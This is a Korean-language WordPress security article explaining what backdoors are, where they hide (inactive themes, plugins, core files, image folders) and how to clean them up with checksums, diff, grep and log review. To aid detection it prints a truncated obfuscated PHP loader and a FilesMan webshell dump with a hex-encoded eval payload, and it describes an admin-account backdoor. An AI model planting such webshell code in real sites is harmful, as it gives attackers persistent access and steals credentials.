워드프레스 백도어(Backdoor)란 무엇인가?
워드프레스 백도어란 공격자가 서버에 무단으로 접근하여 지속적으로 침입을 유지할 수 있도록 만들어 놓은 악성 코드를 의미합니다. 대부분은 어딘가에 숨겨진 악성 파일 형태로 존재하지만, 감염된 플러그인일 경우도 있습니다. 새로운 유형의 백도어 공격은 매달 끊임없이 등장하고 있어 각별한 주의가 필요합니다.
해커들은 항상 워드프레스 사이트에 백도어를 심으려고 시도합니다. 지난 몇 년간 다수의 플러그인이 감염 유포 경로로 악용되었으며, 따라서 위협은 어디에서든 올 수 있습니다. 일단 백도어가 설치되면 이를 제거하는 데 상당한 시간과 비용이 소요됩니다. 하지만 사전 예방 조치만 잘 갖추어도 피해를 최소화할 수 있습니다. 보안이 강화된 워드프레스 사이트라면 공격 자체를 막지 못하더라도 최소한 공격을 지연시키는 효과는 있습니다. 이번 글에서는 워드프레스 백도어를 찾고 복구하는 방법을 자세히 살펴보겠습니다.
워드프레스 백도어 해킹의 주요 원인
워드프레스 사이트 구축 자체는 비교적 쉽지만, 여러 보안 허점들이 백도어 침투의 통로가 될 수 있습니다. 주요 원인을 정리하면 다음과 같습니다.
- 취약한 플러그인 또는 테마: 버그가 있는 플러그인이나 테마가 감염 경로가 되는 경우가 많습니다.
- 약하거나 기본값인 로그인 정보: 관리자 계정의 비밀번호가 단순하거나 기본 설정 그대로인 경우 위험합니다.
- 느슨한 파일 권한 설정: 파일 권한이 제대로 설정되지 않으면 민감한 파일이 외부에 노출됩니다.
- 방화벽 또는 보안 솔루션 미설치: WAF 같은 방어 장치 없이 운영하면 공격에 무방비 상태가 됩니다.
- 오래된 설치 환경: 워드프레스 코어, 플러그인, 테마를 최신 버전으로 유지하지 않으면 알려진 취약점에 노출됩니다.
- 감염된 서버 공유: 동일 서버의 다른 웹사이트가 감염되면 함께 피해를 입을 수 있습니다. 호스팅 업체에 서브넷팅(subnetting) 적용 여부를 문의하세요.
관련 가이드 – 워드프레스 보안 강화 단계별 완벽 가이드 (해킹 위험 90% 감소)
워드프레스 백도어 찾는 방법
1. 테마에서 백도어 찾기
사용 중이 아닌(inactive) 테마는 백도어가 숨기 가장 좋은 장소입니다. 해커들도 이 사실을 잘 알고 있어, 활성화되지 않은 테마를 우선적으로 노립니다. 관리자가 확인할 가능성이 낮다는 점을 역이용하는 것입니다.
워드프레스 테마에는 functions.php라는 핵심 파일이 포함되어 있습니다. 이 파일은 PHP 기본 함수와 워드프레스 내장 함수 등을 호출하는 역할을 하므로, 사실상 모든 종류의 작업을 수행할 수 있습니다. 그래서 공격자들이 백도어를 심기 위해 가장 먼저 노리는 파일이기도 합니다.
예를 들어 functions.php에 다음과 같은 악성 코드가 삽입되었다고 가정해 봅시다. 이 코드는 공격자가 www.yoursite.com/wp-includes/registration.php URL에 접속하는 순간 실행되며, 다음과 같은 관리자 계정을 생성합니다.
ID: backdooradmin
Password: Pa55W0rd.
문제는 해당 사용자를 삭제하더라도, 공격자가 이 URL에 다시 접속하면 계정이 재생성된다는 점입니다. 이것이 전형적인 워드프레스 백도어의 작동 방식입니다. 다만 이런 코드가 삽입되려면 우선 FTP 포트 개방 등의 경로로 서버 접근 권한을 확보했어야 한다는 점을 기억하세요.
2. 플러그인에서 백도어 찾기
백도어 해킹의 상당수는 취약한 플러그인에서 비롯됩니다. 대표적인 사례로 Contact Form 7 플러그인의 취약점을 들 수 있는데, 이 플러그인은 활성 사용자가 500만 명이 넘지만 권한 상승(privilege escalation) 취약점이 발견된 바 있습니다. 플러그인 파일이 변조되어도 대시보드에서는 눈에 보이지 않는 경우가 많지만, FTP로 직접 검색하면 드러날 수 있습니다. 또한 공격자는 백도어 파일을 help 파일처럼 정당해 보이는 이름으로 위장하기도 합니다.
플러그인이 백도어의 온상이 되는 이유는 다음과 같습니다.
- 사용하지 않는 플러그인은 오랫동안 백도어를 숨길 수 있어 감염되기 쉽습니다.
- 신뢰할 수 없는 저평가 플러그인은 코딩 품질이 낮아 백도어 침투 가능성이 높습니다.
- 업데이트하지 않는 구버전 플러그인은 알려진 취약점을 그대로 두고 있어 주요 표적이 됩니다.
- 취약한 플러그인은 다른 코어 파일까지 변조하는 발판으로 악용될 수 있습니다.
따라서 출처를 알 수 없는 플러그인을 경계하고, 사용하지 않는 플러그인은 반드시 삭제하세요!
3. 설치 파일(코어 파일)에서 백도어 찾기
플러그인이 감염된 후에는 코어 파일 변조로 확대되는 경우가 많습니다. 기본 파일에 불법 코드가 삽입되어 있거나, 의심스러운 새 파일이 생성되어 있을 수 있습니다. 때로는 백도어가 다음처럼 알아볼 수 없는 난독화(obfuscation) 형태로 나타나기도 합니다.
$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43
이런 코드는 난독화 기법으로 처리되어 사람이 읽기 어렵게 만들어져 있습니다. 이처럼 수상하게 생긴 코드를 발견하면 해당 파일을 즉시 삭제해야 합니다. 또한 백도어가 xml.php, media.php, plugin.php처럼 정상 파일과 똑같은 이름을 가진 경우도 있으므로, 겉모습이 정상적으로 보인다고 건너뛰어서는 안 됩니다.
특히 파일에서 FilesMan이라는 키워드를 검색해 보세요. 아래는 악명 높은 백도어인 FilesMan:02의 코드 덤프입니다. 이 백도어는 탐지가 까다롭고 로그에도 기록되지 않으며, 비밀번호 등 각종 정보를 탈취하는 데 사용됩니다.
<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='x29x29x29x3B",".");
?>
예를 들어 위 코드 6번째 줄은 16진수(hex) 형태로 작성되어 있는데, 디코딩하면 preg_replace("/.*/e","eval(gzinfla\...와 같은 형태가 됩니다. 16진수 문자를 디코딩해 주는 무료 온라인 도구가 여럿 있으니 적극 활용하세요. 공격자가 base64 인코딩으로 코드를 숨기는 경우도 있으니 마찬가지로 디코딩해서 확인해야 합니다. 위 코드에서는 4번째 줄에 FilesMan 키워드가 있는데, 이 계열 변종 감염은 대부분 이 키워드를 포함하고 있습니다. 또한 코드가 .htaccess 같은 민감한 파일을 변조하고 있을 가능성도 있으니 이런 파일들도 꼼꼼히 점검하세요.
워드프레스 백도어 해킹 복구 방법
1. 체크섬(Checksum) 비교
복구의 첫 단계는 체크섬 비교입니다. 체크섬은 파일 무결성을 판별하는 휴리스틱 방식으로, 수작업으로 검사할 수도 있고 무료 자동화 도구를 활용할 수도 있습니다. 코어 파일뿐 아니라 플러그인과 테마의 체크섬도 공개되어 있으니 함께 비교하면 좋습니다. 더불어 공개된 목록을 참고해 자신만의 블랙리스트를 관리하는 것도 좋은 습관입니다. 체크섬이 일치하지 않는 파일이 발견되면, 다음 단계로 넘어가 백도어를 수동으로 제거합니다.
2. 코어 파일 무결성 검사
체크섬 값이 다른 파일들이 확인되면 해당 파일들을 수동으로 검토해야 합니다. 백도어가 이미 파일을 변조했을 가능성이 높기 때문입니다. 먼저 워드프레스 최신 버전의 깨끗한 사본을 다운로드합니다.
$ mkdir WordPress
$ cd WordPress
위 명령어는 WordPress라는 디렉터리를 생성하고 해당 위치로 이동합니다.
$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip
$ tar -zxvf 4.9.8.zip
첫 번째 명령으로 최신 워드프레스(예: 4.9.8)를 다운로드하고, 두 번째 명령으로 압축을 해제합니다. 이제 핵심 단계입니다. 다음 명령으로 두 파일의 차이를 비교합니다.
$ diff -r path/to/your/file.php /WordPress/wp-cron.php
이 명령은 두 파일 간의 차이를 보여주므로, 백도어가 수정한 부분이 그대로 드러납니다. 다만 xmlrpc.php처럼 동적으로 변경되는 파일도 있다는 점에 유의하세요. 이 파일은 사용자와 외부 서비스가 RPC 방식으로 사이트와 통신할 수 있게 해주는 기능을 하며, 해커들도 이를 알고 백도어를 숨기는 곳으로 자주 악용합니다. 따라서 특히 꼼꼼하게 점검해야 합니다.
3. 인코딩 검사
파일이 변경되었는데 내용을 읽을 수 없는 경우가 있습니다. 이럴 때는 base64 인코딩 검색부터 시작하는 것이 좋습니다. 이때 grep 명령어가 큰 힘을 발휘합니다. 다음 명령어를 사용해 보세요.
find . -name "*.php" -exec grep "base64" '{}' \; -print &> output.txt
이 명령은 base64가 포함된 모든 항목을 output.txt에 깔끔하게 정리해 줍니다. 이후 온라인 디코딩 도구로 평문을 확인하면 됩니다. .php 외의 파일도 검색하려면 명령어에서 *.php 부분만 바꾸면 됩니다. 또한 악성 코드가 16진수 형태로 숨겨져 있을 수도 있으므로, 이 경우에는 grep -Pr "[\x01\x02\x03]" 명령을 활용할 수 있습니다. 그 외 유사한 인코딩 방식에 대해서도 같은 과정을 반복하세요. 감염된 파일이나 악성 코드 라인을 삭제하면 백도어 제거가 완료됩니다.
4. 서버 로그 활용
서버 로그도 백도어 제거에 큰 도움이 됩니다. 먼저 특정 날짜 이후 수정된 파일이 어떤 것들인지 확인하고, FTP 로그를 통해 서버에 접속한 IP 목록도 살펴보세요. 최근에 편집된 파일들을 주의 깊게 추적해야 합니다.
특히 이미지 폴더를 집중적으로 확인하세요. 이미지 폴더에 실행 파일이 있을 리 없다고 생각하는 것이 일반적이기 때문에, 해커들이 백도어를 숨기기 가장 좋아하는 장소입니다. 게다가 이미지 폴더는 쓰기 권한이 열려 있는 경우가 많습니다. 민감한 파일에는 적절한 권한을 설정해야 하며, 일반적으로 444 (r–r–r–) 또는 440 (r–r—–) 권한을 권장합니다. 이미지 폴더 내 변경 사항이 있는지 반드시 확인하세요.
5. 업데이트와 백업
워드프레스를 최신 상태로 유지하는 것의 중요성은 아무리 강조해도 지나치지 않습니다. 오래된 설치 환경은 사실상 감염된 사이트와 다름없습니다.
백도어의 원인을 추적할 수 없다면, 현재 사이트를 먼저 백업한 후 기존 백업본으로 복원하고 두 버전을 비교해 보세요.
기존 백업본이 없다면 현재 사이트를 백업한 뒤, 워드프레스 코어 파일을 새로운 파일로 교체하는 수동 업데이트를 진행해야 합니다.
또한 사용 중인 플러그인에 취약점이 보고되면 즉시 업데이트하는 것이 좋습니다. 패치가 너무 늦어진다면 대체 플러그인으로 교체하세요. 공식 블로그 등을 꾸준히 확인하면 패치 소식을 가장 빠르게 접할 수 있습니다.
6. 워드프레스 백도어 스캐너 활용
사람은 언제나 실수할 수 있습니다. 수동 검사는 번거로울 뿐 아니라 오류 가능성도 높아, 백도어 해킹이 재발하는 원인이 되기도 합니다. 이 문제의 해결책은 자동화입니다. 요즘 시장에는 상당히 고도화된 보안 스캐너들이 출시되어 있습니다. 이런 스캐너는 숨겨진 백도어의 위치를 탐지하고, 제거 절차까지 안내해 주므로 적극적으로 활용하는 것이 좋습니다.